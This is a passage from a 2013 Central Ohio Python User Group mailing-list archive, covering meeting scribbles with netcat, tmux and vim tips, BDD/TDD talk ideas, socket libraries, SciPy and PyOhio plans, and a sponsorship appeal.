From jep200404 at columbus.rr.com Wed May 1 00:36:31 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Tue, 30 Apr 2013 18:36:31 -0400 Subject: [CentralOH] 2013-04-29: Creativity and _Killing_ Creativity In-Reply-To: <20130430130745.2febbbc7.jep200404@columbus.rr.com> References: <20130430130745.2febbbc7.jep200404@columbus.rr.com> Message-ID: <20130430183631.7a7bf30d.jep200404@columbus.rr.com> On Tue, 30 Apr 2013 13:07:45 -0400, jep200404 at columbus.rr.com wrote: > ... Bob Myers ... also mentioned Left brain / right brain thinking and Ken Robinson's great video: http://www.ted.com/talks/ken_robinson_says_schools_kill_creativity.html Amen! There are many great presentations at ted.com. https://www.ted.com/talks/natalie_merchant_sings_old_poems_to_life.html https://www.ted.com/talks/vijay_kumar_robots_that_fly_and_cooperate.html Very very cool in 2006: https://www.ted.com/talks/jeff_han_demos_his_breakthrough_touchscreen.html Considering the movie[1] by the folks[2] who inspired Guido, how can Grails be anything other than some Python thing? [1] http://en.wikipedia.org/wiki/Monty_Python_and_the_Holy_Grail [2] http://en.wikipedia.org/wiki/Monty_Python From jep200404 at columbus.rr.com Fri May 3 04:55:40 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Thu, 2 May 2013 22:55:40 -0400 Subject: [CentralOH] =?utf-8?q?2013-05-02_=E9=81=93=E5=A0=B4_Scribbles_?= =?utf-8?b?76SY5pu4L+aDoeaWhz8=?= Message-ID: <20130502225540.19bef31a.jep200404@columbus.rr.com> weekly bait: Unsolved: How to indent code block in ipython notebook? In other words, how to do ^T, ^D, <<, >> in ipython notebook (like vi)? Netcat (nc) is my friend and should be yours too. encrypted instant messaging # unbuffered version tr 'A-Za-z' 'N-ZA-Mn-za-m' | nc -l 8000 | tr 'A-Za-z' 'N-ZA-Mn-za-m' how to make above command more real-timey PIPE_BUF unbuffer stdbuf on server (at 172.17.153.150): stdbuf -i0 -o0 tr 'A-Za-z' 'N-ZA-Mn-za-m' | stdbuf -i0 -o0 nc -l 8000 | stdbuf -i0 -o0 tr 'A-Za-z' 'N-ZA-Mn-za-m' on client: stdbuf -i0 -o0 tr 'A-Za-z' 'N-ZA-Mn-za-m' | stdbuf -i0 -o0 nc 172.17.153.150 8000 | stdbuf -i0 -o0 tr 'A-Za-z' 'N-ZA-Mn-za-m' start the command on the server before the command on the client server: tar cvzf - foo | nc -l 8000 client: nc 172.17.153.150 8000 | tee foo.tgz | tar tvzf - | less # tar xzf foo.tgz ;# after reviewing output of tar tvzf - above. sudo apt-get install expect-dev ;# for unbuffer command, # for which stdbuf is preferred. Next time don't install expect-dev. netcat is the one true email client grep smtp /etc/services nc smtp-server.example.org `grep ^smtp /etc/services | awk '{print $2}' | awk -F/ '{print $1}'25` nc smtp-server.example.org `grep ^smtp /etc/services | tr / ' ' | awk '{print $2}'` nc smtp-server.example.org 25 HELO relay.example.org http://en.wikipedia.org/wiki/SMTP#SMTP_transport_example # battery exerciser i=2;while true; do if [ `factor $i | wc -w` -eq 2 ]; then echo $i;fi;i=`expr $i + 1`;done tmux no body uses default settings change ^B to ^A. cat ~/.tmux.conf unbind C-b set -g prefix C-a # ^A^A toggles to last window bind-key C-a last-window setw -g aggressive-resize on scratch completely absorbed one new student ??. http://www.ted.com/talks/mitch_resnick_let_s_teach_kids_to_code.html http://en.wikipedia.org/wiki/Scratch http://www.code.org/ code.org/learn/scratch # Review Ken Robinson's talk yet again. http://en.wikipedia.org/wiki/OLPC_XO-1 http://en.wikipedia.org/wiki/Sugar_(desktop_environment) Scratch man 7 pipe man write man 1 write man wall man 2 write ;# see Stevens' APUE man nc man stdbuf man unbuffer man ascii man man http://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate http://en.wikipedia.org/wiki/History_of_Linux the following are handy in .vimrc for use with python " the following is probably best for my Python stuff " Note that it leaves existing tabs characters as is. set expandtab " enter spaces when tab is pressed set softtabstop=4 " use 4 spaces to represent tab set shiftwidth=4 " number of spaces to use for auto indent set autoindent " copy indent from current line when starting a new line then use: >>, <<, ^D, ^T vi -o :sp :vs ^Wj ^Wk ^Wl ^Wh ^W+ ^W- ^W= ^W_ ^W< ^W> RMS http://en.wikipedia.org/wiki/Editor_war 666 - vivivi http://en.wikipedia.org/wiki/Number_of_the_Beast ala ? http://en.wikipedia.org/wiki/Tetraphobia Update dojo announcement to direct folks to "community room" for rest of May. Serbat Wangi easter beagle pictures of chinese power receptical and north american plug From mark at aufdencamp.com Fri May 3 11:20:12 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Fri, 03 May 2013 02:20:12 -0700 Subject: [CentralOH] Monday's WebSocket Meeting Message-ID: <20130503022012.181451e9c2a7ebbcd6ae28cea81146c8.c121432e5b.wbe@email17.secureserver.net> Hey everyone, I had a great time Monday night and really enjoyed Brian's presentation. Hoping to get more great content with all of you at the Forge again. I typed up a blog entry that might be of interest http://mark.aufdencamp.com/websockets-with-python-at-the-forge/ . Mark Aufdencamp Mark at Aufdencamp.com From mark at aufdencamp.com Sat May 4 23:32:16 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Sat, 04 May 2013 14:32:16 -0700 Subject: [CentralOH] BDD/TDD w Django Message-ID: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> I've been working in Rails for about four years and playing heavily with RSpec/Selenium/WebRat on a current project porting a Rails 2 application to Rails 3.2. This has resulted in moving a little further up the BDD stack by delving some into Cucumber. The local ATDD groups meeting Thursday focused on Cucumber Feature and Scenario development. So, the Python side of it. I've been reading O'Reilly's Early Release "Test-Driven Development with Python". The author did a presentation at PyCon 2013. Did anyone in the group happen to catch it? Anyone utilizing Lettuce for BDD? How about Splinter for testing Django apps? What's the groups level of interest on the topic? I could probably put something together on it for a presentation if others are interested. Something I should submit for PyOhio? Anyone with more Python experience interested in working on it with me? Mark Aufdencamp Mark at Aufdencamp.com From brian.costlow at gmail.com Sun May 5 00:23:28 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Sat, 4 May 2013 18:23:28 -0400 Subject: [CentralOH] BDD/TDD w Django In-Reply-To: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> References: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> Message-ID: Love to have you submit for PyOhio. Unfortunately I don't have time to pitch in with you. But PyOhio is the most newbie friendly conference I've ever been to. On May 4, 2013 5:34 PM, "Mark Aufdencamp" wrote: > I've been working in Rails for about four years and playing heavily with > RSpec/Selenium/WebRat on a current project porting a Rails 2 application > to Rails 3.2. This has resulted in moving a little further up the BDD > stack by delving some into Cucumber. The local ATDD groups meeting > Thursday focused on Cucumber Feature and Scenario development. > > So, the Python side of it. I've been reading O'Reilly's Early Release > "Test-Driven Development with Python". The author did a presentation at > PyCon 2013. Did anyone in the group happen to catch it? > > Anyone utilizing Lettuce for BDD? How about Splinter for testing > Django apps? > > What's the groups level of interest on the topic? I could probably put > something together on it for a presentation if others are interested. > Something I should submit for PyOhio? Anyone with more Python > experience interested in working on it with me? > > Mark Aufdencamp > Mark at Aufdencamp.com > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Sun May 5 01:18:53 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Sat, 4 May 2013 19:18:53 -0400 Subject: [CentralOH] BDD/TDD w/Django: Harry Percival's Pycon 2013 Presentation In-Reply-To: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> References: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> Message-ID: <20130504191853.636bc379.jep200404@columbus.rr.com> On Sat, 04 May 2013 14:32:16 -0700, "Mark Aufdencamp" wrote: > I've been reading O'Reilly's Early Release > "Test-Driven Development with Python". The author did a presentation at > PyCon 2013. Did anyone in the group happen to catch it? You can watch on the web for free. http://pyvideo.org/video/1657/fully-test-driven-web-development-with-django-and From jep200404 at columbus.rr.com Sun May 5 01:24:10 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Sat, 4 May 2013 19:24:10 -0400 Subject: [CentralOH] BDD/TDD w Django: Do A Presentation In-Reply-To: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> References: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> Message-ID: <20130504192410.7def9f8e.jep200404@columbus.rr.com> On Sat, 04 May 2013 14:32:16 -0700, "Mark Aufdencamp" wrote: > What's the groups level of interest on the topic? I could probably put > something together on it for a presentation if others are interested. > Something I should submit for PyOhio? I'm interested in TDD/BDD and would like to see you present on it. A CohPy presentation would be a good dress rehearsal for PyOhio. Brandon Rhodes has practiced giving presentations at CohPy for conferences, and solicits commits about it, such as what needs more or less emphasis, what should be added, and what should be left out. Go for it. From brian.costlow at gmail.com Sun May 5 04:19:55 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Sat, 4 May 2013 22:19:55 -0400 Subject: [CentralOH] BDD/TDD w Django: Do A Presentation In-Reply-To: <20130504192410.7def9f8e.jep200404@columbus.rr.com> References: <20130504143216.181451e9c2a7ebbcd6ae28cea81146c8.77f94454b0.wbe@email17.secureserver.net> <20130504192410.7def9f8e.jep200404@columbus.rr.com> Message-ID: The June COhPy meeting agenda is for anyone who wants to dry run a PyOhio talk. On Sat, May 4, 2013 at 7:24 PM, wrote: > On Sat, 04 May 2013 14:32:16 -0700, "Mark Aufdencamp" > wrote: > > > What's the groups level of interest on the topic? I could probably put > > something together on it for a presentation if others are interested. > > Something I should submit for PyOhio? > > I'm interested in TDD/BDD and would like to see you present on it. > A CohPy presentation would be a good dress rehearsal for PyOhio. > Brandon Rhodes has practiced giving presentations at CohPy for > conferences, and solicits commits about it, such as what needs > more or less emphasis, what should be added, and what should be > left out. > > Go for it. > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark at aufdencamp.com Sun May 5 22:11:17 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Sun, 05 May 2013 13:11:17 -0700 Subject: [CentralOH] BDD/TDD w/Django: Harry Percival's Pycon 2013 Presentation Message-ID: <20130505131117.181451e9c2a7ebbcd6ae28cea81146c8.3a218a761b.wbe@email17.secureserver.net> Thanks JEP, hadn't gotten around to thinking to Google the Pycon. I was one track minded on his website and the O'Reilly book. > -------- Original Message -------- > Subject: Re: [CentralOH] BDD/TDD w/Django: Harry Percival's Pycon 2013 > Presentation > From: jep200404 at columbus.rr.com > Date: Sat, May 04, 2013 7:18 pm > To: "Mailing list for Central Ohio Python User Group (COhPy)" > > > > On Sat, 04 May 2013 14:32:16 -0700, "Mark Aufdencamp" wrote: > > > I've been reading O'Reilly's Early Release > > "Test-Driven Development with Python". The author did a presentation at > > PyCon 2013. Did anyone in the group happen to catch it? > > You can watch on the web for free. > > http://pyvideo.org/video/1657/fully-test-driven-web-development-with-django-and > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh From jep200404 at columbus.rr.com Mon May 6 00:10:57 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Sun, 5 May 2013 18:10:57 -0400 Subject: [CentralOH] Python Videos In-Reply-To: <20130505131117.181451e9c2a7ebbcd6ae28cea81146c8.3a218a761b.wbe@email17.secureserver.net> References: <20130505131117.181451e9c2a7ebbcd6ae28cea81146c8.3a218a761b.wbe@email17.secureserver.net> Message-ID: <20130505181057.3c069e5c.jep200404@columbus.rr.com> On Sun, 05 May 2013 13:11:17 -0700, "Mark Aufdencamp" wrote: > Thanks JEP, hadn't gotten around to thinking to Google the Pycon. I was > one track minded on his website and the O'Reilly book. pyvideo.org has many videos of presentations from python conferences, including our own: http://pyvideo.org/category/22/pyohio-2012 http://pyvideo.org/video/542/pyohio-2011-names-objects-and-plummeting-from There was some discussion of virtualenv(wrapper) at the last meeting. http://pyvideo.org/video/553/virtualenv--pip--and-virtualenvwrapper From catherine.devlin at gmail.com Mon May 6 02:14:31 2013 From: catherine.devlin at gmail.com (Catherine Devlin) Date: Sun, 5 May 2013 20:14:31 -0400 Subject: [CentralOH] Upcoming meetings, talks and speakers. In-Reply-To: <6124102824392142072@unknownmsgid> References: <6124102824392142072@unknownmsgid> Message-ID: Hi, Katia! I'm so glad you made it! ... and sorry I had to arrive late and rush out early at the end, darn. But I hope it was a good meeting for you! Will I see you at PyOhio? Would you like to try speaking there? I wrote up a blog post about how you don't need to be an expert to give a talk, and I'd be happy to help you out... not twisting your arm, just saying. :) On Tue, Apr 23, 2013 at 6:13 PM, Katia Tenney wrote: > Yes! Monday is the monthly meeting.. I was one of the girls in the python > for women workshop you did few months ago. > glad you can make it this time > > Katia > > Sent from my iPhone > > On Apr 23, 2013, at 1:51 PM, Catherine Devlin > wrote: > > Oh, wait. It's the Dojo on Thursday, then the meeting on Monday. I feel > silly. In any case, I will be there, but not as a speaker. > > See you then! > > > On Tue, Apr 23, 2013 at 1:43 PM, Catherine Devlin < > catherine.devlin at gmail.com> wrote: > >> Oops, I didn't notice the day had moved to Thursday until just now. >> Sorry I can't make it out then - but it sounds like you're getting familiar >> with IPython Notebook anyway. >> >> Thanks! >> >> >> On Mon, Apr 8, 2013 at 3:03 PM, Brian Costlow wrote: >> >>> Hi Catherine, >>> >>> It's a 'last Monday' meeting and there are 5 Mondays in April so we are >>> actually meeting on 4/29. >>> >>> Nothing on the Meetup yet since we don't have the location finalized. >>> (Should know where we are by Wednesday evening, then I'll update.) >>> >>> We'd all love to have you come talk if you can make it. >>> >>> >>> >>> >>> On Mon, Apr 8, 2013 at 2:45 PM, Catherine Devlin < >>> catherine.devlin at gmail.com> wrote: >>> >>>> Hi, Brian, >>>> >>>> Is there a meeting on April 22? There's nothing at >>>> http://www.meetup.com/Central-Ohio-Python-Users-Group/ yet. I'm >>>> trying to figure out if I can make it out to Columbus that day. If I can, >>>> then I could give a short-to-medium talk about What I Learned At PyCon. >>>> Although I can give you the instant summary right now: >>>> >>>> IPython Notebook >>>> IPython Notebook >>>> zOMG IPython Notebook >>>> >>>> (Have you had a presentation on the Notebook yet?) >>>> >>>> >>>> On Fri, Apr 5, 2013 at 3:50 PM, Brian Costlow wrote: >>>> >>>>> All, >>>>> >>>>> We are looking for a speaker for either April or May's meeting (I have >>>>> a talk on WebSockets in Python I am working on that I can give either >>>>> month, we are looking for someone to cover the other one). >>>>> >>>>> Also, we're looking for suggestions for meeting topics. If there's a >>>>> module, framework etc., you want to hear about, suggest it here on the >>>>> mailing list, and/or shoot me an email. >>>>> >>>>> --Brian >>>>> >>>>> _______________________________________________ >>>>> CentralOH mailing list >>>>> CentralOH at python.org >>>>> http://mail.python.org/mailman/listinfo/centraloh >>>>> >>>>> >>>> >>>> >>>> -- >>>> - Catherine >>>> http://catherinedevlin.blogspot.com >>>> >>>> _______________________________________________ >>>> CentralOH mailing list >>>> CentralOH at python.org >>>> http://mail.python.org/mailman/listinfo/centraloh >>>> >>>> >>> >>> _______________________________________________ >>> CentralOH mailing list >>> CentralOH at python.org >>> http://mail.python.org/mailman/listinfo/centraloh >>> >>> >> >> >> -- >> - Catherine >> http://catherinedevlin.blogspot.com >> > > > > -- > - Catherine > http://catherinedevlin.blogspot.com > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -- - Catherine http://catherinedevlin.blogspot.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From blorenz at gmail.com Mon May 6 02:44:23 2013 From: blorenz at gmail.com (Brandon Lorenz) Date: Sun, 5 May 2013 20:44:23 -0400 Subject: [CentralOH] Socket library for Python 2.7? Message-ID: I am looking for a super library like Requests, but for Sockets. Would any of the libraries that Brian mentioned at the April meetup fit the bill? Does declaring ws:// just initiate a TCP socket listener that _any_ TCP connection can interface with -- not just Websockets? I am hoping to save some time with trial-and-error by requesting help here. Thanks! Brandon -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark at aufdencamp.com Mon May 6 03:12:17 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Sun, 05 May 2013 18:12:17 -0700 Subject: [CentralOH] =?utf-8?q?Socket_library_for_Python_2=2E7=3F?= Message-ID: <20130505181217.181451e9c2a7ebbcd6ae28cea81146c8.444744a739.wbe@email17.secureserver.net> Hi Brandon, I watched the video this afternoon that JEP posted on Guido van Rossum's Keynote at Pycon 2013. He's working on a library called Tulip to be added as a reference implementation to the standard library for Async IO. It's meant to be capable of wrapping other event managers like twisted and gevent. He specifically mentions the wrapped Socket methods in Tulip. It sounds like its still pretty fresh, but the future. A quick look at the Tulip PEP http://www.python.org/dev/peps/pep-3156/ specificly references not using the socket wrappers, in favor of using the transport/protocols. Sounds like you might be interested in checking out the Tulip Stream Protocols. Hope my two cents was worth something. Mark Aufdencamp Mark at Aufdencamp.com > -------- Original Message -------- > Subject: [CentralOH] Socket library for Python 2.7? > From: Brandon Lorenz > Date: Sun, May 05, 2013 8:44 pm > To: "Mailing list for Central Ohio Python User Group (COhPy)" > > > > I am looking for a super library like Requests, but for Sockets. Would any > of the libraries that Brian mentioned at the April meetup fit the bill? > Does declaring ws:// just initiate a TCP socket listener that _any_ TCP > connection can interface with -- not just Websockets? I am hoping to save > some time with trial-and-error by requesting help here. > > Thanks! > > Brandon
_______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh From blorenz at gmail.com Mon May 6 03:29:36 2013 From: blorenz at gmail.com (Brandon Lorenz) Date: Sun, 5 May 2013 21:29:36 -0400 Subject: [CentralOH] Socket library for Python 2.7? In-Reply-To: <20130505181217.181451e9c2a7ebbcd6ae28cea81146c8.444744a739.wbe@email17.secureserver.net> References: <20130505181217.181451e9c2a7ebbcd6ae28cea81146c8.444744a739.wbe@email17.secureserver.net> Message-ID: Tulip mentions that it is Python 3. :( But looking at the accreditations at the bottom: Apart from PEP 3153 , influences include PEP 380 and Greg Ewing's tutorial for yield from, Twisted, Tornado, ZeroMQ, pyftpdlib, tulip (the author's attempts at synthesis of all these), wattle (Steve Dower's counter-proposal), .... I am now pursuing Tornado. Thanks, Mark! On Sun, May 5, 2013 at 9:12 PM, Mark Aufdencamp wrote: > Hi Brandon, > > I watched the video this afternoon that JEP posted on Guido van Rossum's > Keynote at Pycon 2013. He's working on a library called Tulip to be > added as a reference implementation to the standard library for Async > IO. It's meant to be capable of wrapping other event managers like > twisted and gevent. He specifically mentions the wrapped Socket methods > in Tulip. It sounds like its still pretty fresh, but the future. > > A quick look at the Tulip PEP http://www.python.org/dev/peps/pep-3156/ > specificly references not using the socket wrappers, in favor of using > the transport/protocols. Sounds like you might be interested in > checking out the Tulip Stream Protocols. > > Hope my two cents was worth something. > > Mark Aufdencamp > Mark at Aufdencamp.com > > > > > -------- Original Message -------- > > Subject: [CentralOH] Socket library for Python 2.7? > > From: Brandon Lorenz > > Date: Sun, May 05, 2013 8:44 pm > > To: "Mailing list for Central Ohio Python User Group (COhPy)" > > > > > > > > I am looking for a super library like Requests, but for Sockets. Would > any > > of the libraries that Brian mentioned at the April meetup fit the bill? > > Does declaring ws:// just initiate a TCP socket listener that _any_ TCP > > connection can interface with -- not just Websockets? I am hoping to > save > > some time with trial-and-error by requesting help here. > > > > Thanks! > > > > Brandon
_______________________________________________ > > CentralOH mailing list > > CentralOH at python.org > > http://mail.python.org/mailman/listinfo/centraloh > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > -------------- next part -------------- An HTML attachment was scrubbed... URL: From erik.n.welch at gmail.com Mon May 6 20:08:21 2013 From: erik.n.welch at gmail.com (Erik Welch) Date: Mon, 6 May 2013 14:08:21 -0400 Subject: [CentralOH] SciPy Conference Message-ID: Hey everyone, is anybody planning to go to the SciPy 2013 Conference--June 24-29 in Austin, Texas--this year? -------------- next part -------------- An HTML attachment was scrubbed... URL: From godber at gmail.com Mon May 6 20:47:25 2013 From: godber at gmail.com (Austin Godber) Date: Mon, 6 May 2013 11:47:25 -0700 Subject: [CentralOH] SciPy Conference In-Reply-To: References: Message-ID: I am seriously considering it. Austin On Mon, May 6, 2013 at 11:08 AM, Erik Welch wrote: > Hey everyone, is anybody planning to go to the SciPy 2013 Conference--June > 24-29 in Austin, Texas--this year? > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From eric at intellovations.com Mon May 6 22:16:38 2013 From: eric at intellovations.com (Eric Floehr) Date: Mon, 6 May 2013 16:16:38 -0400 Subject: [CentralOH] Help needed: PyOhio Sponsorships Message-ID: Hi all, I need your help. PyOhio is only a free conference because we have great volunteers and great sponsors. PyOhio is far from free to run. In fact, it cost close to $12,000 in hard cash to put on PyOhio last year, and that's with a video crew who worked for well below market. Can I please ask you to do *one or more* of the following to help this conference continue to be a great *free* resource for Central Ohio, the entire Midwest, and the whole Python community? 1. If you are a part of or know of a company or organization that would like to reach out to 250 or so dedicated, passionate developers, you can use the text below as a formal proposal and advocate for PyOhio sponsorship within your company or organization. 2. Spread the word about PyCamp. PyCamp will be the week immediately preceding PyOhio, and will also be in the Ohio Union. The class will provide 40 hours of training for only $325 for those wanting to learn Python inside and out. Net proceeds will help benefit PyOhio and TriPython: http://trizpug.org/boot-camp/pyohio13/ 3. Register and buy a PyOhio t-shirt, and consider donating extra at the registration page: http://pyohio.org/registration/ If you would prefer not to use Eventbrite to donate extra, you can also contact me directly for other arrangements, but you need to use Eventbrite for the t-shirt order. Thanks so much for your help in making PyOhio great! Best Regards, Eric Floehr PyOhio 2013 Chair ------------------ (snip -- sponsor formal proposal follows) ----------------------- PyOhio is the second-largest Python programming language conference in the United States, second only to PyCon. Last year, we hosted 230+ passionate developers and brought in speakers from ten different states in the Midwest and across the country. This is our sixth year for PyOhio, and it looks to be even better. With your help, PyOhio will continue to be a great gathering place for sharing information, learning about Python, and gathering together around a programming language that enables people to make great things. Our sponsorship packages are essentially unchanged from last year, and we are also open to suggestions: http://pyohio.org/sponsors/prospectus/ Please email eric at intellovations.com (PyOhio 2013 chair) if you'd like to sponsor PyOhio this year or sign up at http://pyohio.org/sponsors/apply/ and he'll be in touch. PyOhio 2013 will be Saturday, July 27 and Sunday, July 28, and we will again be at the Ohio Union. We are expecting 250+ developers this year, from around the Midwest and the country. If you would like to reach high-quality, motivated developers, PyOhio is a great place to do that. Not only that, but you are helping fund an outreach mission who's goal is to bring technology and empowerment to those who might not have had the opportunity. How do we do that? 1. Again this year, we have contracted with Next Day Video to record all talks and tutorials and make them available for free online for later viewing, and for those who cannot attend. This is a huge outreach, and our largest single expense. But it's important. Here are last year's talks: http://pyvideo.org/category/22/pyohio-2012 2. We have partnered with PyCamp to offer affordable Python training, with net proceeds benefiting PyOhio and TriPython, the Research Triangle Park, NC Python User Group. For only $300 (early registration until May 6) we will provide 40 hours of Python programming language classroom instruction. We are also offering a discount to Ohio State University Students. Please share with your networks: http://trizpug.org/boot-camp/pyohio13/ 3. We are working with some folks to hopefully provide an all-day Python class for kids 12 and up. More details coming, but we are getting kids excited about programming and STEM and giving them the on-ramp to tinker and create with computers. 4. PyOhio outreach extended beyond the conference, helping put on the Columbus Python Workshop for Women in January. Hosted by Pillar and sponsored by LeadingEDJE, the workshop provided an introduction to Python in a collaborative hands-on fashion to a historically under-represented population in tech. As you can see, we are doing great things, and with your help and support we will continue to be able to do so! Please consider sponsoring PyOhio this year, you will reach great developers and help us do great things! Please reply to this email if you'd like to sponsor, take the next steps, etc. or if you'd no longer like to be emailed. Thanks so much! -------------- next part -------------- An HTML attachment was scrubbed... URL: From erik.n.welch at gmail.com Mon May 6 22:26:31 2013 From: erik.n.welch at gmail.com (Erik Welch) Date: Mon, 6 May 2013 16:26:31 -0400 Subject: [CentralOH] SciPy Conference In-Reply-To: References: Message-ID: Great, do it! I'm going--it'll be my first time--and would like to meet beforehand other people who are going to the conference. My hotel room (same location as the conference) also has an extra queen size bed if anybody would be interested in sharing a room. Erik On Mon, May 6, 2013 at 2:47 PM, Austin Godber wrote: > I am seriously considering it. > > Austin > > > On Mon, May 6, 2013 at 11:08 AM, Erik Welch wrote: > >> Hey everyone, is anybody planning to go to the SciPy 2013 >> Conference--June 24-29 in Austin, Texas--this year? >> >> _______________________________________________ >> CentralOH mailing list >> CentralOH at python.org >> http://mail.python.org/mailman/listinfo/centraloh >> >> > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From brian.costlow at gmail.com Wed May 8 23:27:12 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Wed, 8 May 2013 17:27:12 -0400 Subject: [CentralOH] Reminder: May COhPy meeting, May 20th at The Forge Message-ID: Our meeting will once again be at The Forge by Pillar, location details available at http://pyohio.org We're trying something new at this month's meeting, which is to ask everybody to actively participate. Come prepared to lead us through one of the shorter code katas, except in python. http://codekata.pragprog.com/ Or do a koan (adapted to Python by COhPy member Greg Malcolm). https://github.com/gregmalcolm/python_koans/wiki Or give a Lightning Talk. http://en.wikipedia.org/wiki/Lightning_talk Lightning talks don't have to be strictly technical. You can describe something cool you are doing with Python (the what instead of the how). If you're new to Python, you can talk about what attracted you to the language. Or you can advocate for something you think we should be doing. Afterwards, I'm going to blatantly steal an idea from DJ Daugherty's Grails Meetup, and have the group work on topics for future meetings. Look for the 'Post-Meeting Hangout' to get published on the Meetup site in the next day or two. --Brian -------------- next part -------------- An HTML attachment was scrubbed... URL: From brian.costlow at gmail.com Wed May 8 23:37:58 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Wed, 8 May 2013 17:37:58 -0400 Subject: [CentralOH] Correction on May COhPy meeting... Message-ID: Link to location details should have been http://cohpy.org not pyohio.org. PyOhio on the brain today... But now that I've mentioned it, both proposal submissions and registration are open for PyOhio, so get over there and sign up! -------------- next part -------------- An HTML attachment was scrubbed... URL: From iynaix at gmail.com Thu May 9 15:25:08 2013 From: iynaix at gmail.com (iynaix) Date: Thu, 9 May 2013 09:25:08 -0400 Subject: [CentralOH] DoJo will be in the Community Room at Panera Message-ID: The DoJo will be in the Community Room at Panera, 4519 N High St (6 - 9pm) for the rest of May. Cheers, XY -------------- next part -------------- An HTML attachment was scrubbed... URL: From katia.tenney at gmail.com Thu May 9 20:42:48 2013 From: katia.tenney at gmail.com (Katia Tenney) Date: Thu, 9 May 2013 14:42:48 -0400 Subject: [CentralOH] DoJo will be in the Community Room at Panera In-Reply-To: References: Message-ID: <2172977782824400061@unknownmsgid> Great!!! See you tonight Sent from my iPhone On May 9, 2013, at 9:25 AM, iynaix wrote: > The DoJo will be in the Community Room at Panera, 4519 N High St (6 - 9pm) for the rest of May. > > Cheers, > XY > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh From jep200404 at columbus.rr.com Fri May 10 14:55:46 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Fri, 10 May 2013 08:55:46 -0400 Subject: [CentralOH] =?utf-8?q?2013-05-09_=E9=81=93=E5=A0=B4_Scribbles_?= =?utf-8?b?76SY5pu4L+aDoeaWhz8=?= Message-ID: <20130510085546.1b1dbc0b.jep200404@columbus.rr.com> 2 is somebody's favorite number because it is the only even prime number 17 is the only random prime seed for pseudo random sequence good for unit tests There were five former/student/wannabe financial quant folks and three copies of PfDA present. Jim Rogers in Singapore; Mandarin Chinese WX MADIS microclimate http://madis.noaa.gov/ java ucar unidata for nexrad http://www.unidata.ucar.edu/ beaufort scale lat/long gradians/meters degrees/nautical mile HRAP grid @#$@%^&^#$^!!! simplecv face detection in five lines simplecv.org pep 7 - C style guide -- is option to say no more options. E.g. mv -- -f foo to rename file named '-f' to foo. cohpy at dojo:~$ mkdir d cohpy at dojo:~$ cd d cohpy at dojo:~/d$ >-f cohpy at dojo:~/d$ ll total 0 -rw-rw-r-- 1 cohpy cohpy 0 May 10 08:18 -f cohpy at dojo:~/d$ mv -f foo mv: missing destination file operand after `foo' Try `mv --help' for more information. cohpy at dojo:~/d$ mv -- -f foo cohpy at dojo:~/d$ ll total 0 -rw-rw-r-- 1 cohpy cohpy 0 May 10 08:18 foo cohpy at dojo:~/d$ Adding './' to some funky file names can help sometimes. full transparency How do you buy a divider bar in checkout line? rtl sdr europe dvb usb tuner $10 1 MHz to 3 GHz spectrum analyzer vincent visualization interactive html css javascript https://pypi.python.org/pypi/vincent/0.1.4 WebDAV 1G Is modulus of negative integers as described in http://docs.python.org/2/reference/expressions.html#binary-arithmetic-operations ambiguous, so that implementations can differ? C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C cohpy at dojo:~/i/modulo$ cat foo.c #include #include int main(int argc, char *argv[]) { int x = (-1); int y = 3; printf("%d %d %d\n", x/y, x%y, x == (x/y)*y + (x%y)); exit(EXIT_SUCCESS); } cohpy at dojo:~/i/modulo$ ./foo 0 -1 1 cohpy at dojo:~/i/modulo$ python python python python python python python python python python python cohpy at dojo:~/i/modulo$ cat foo.py #!/usr/bin/env python x = (-1) y = 3 print "%d %d %d" % (x/y, x%y, x == (x/y)*y 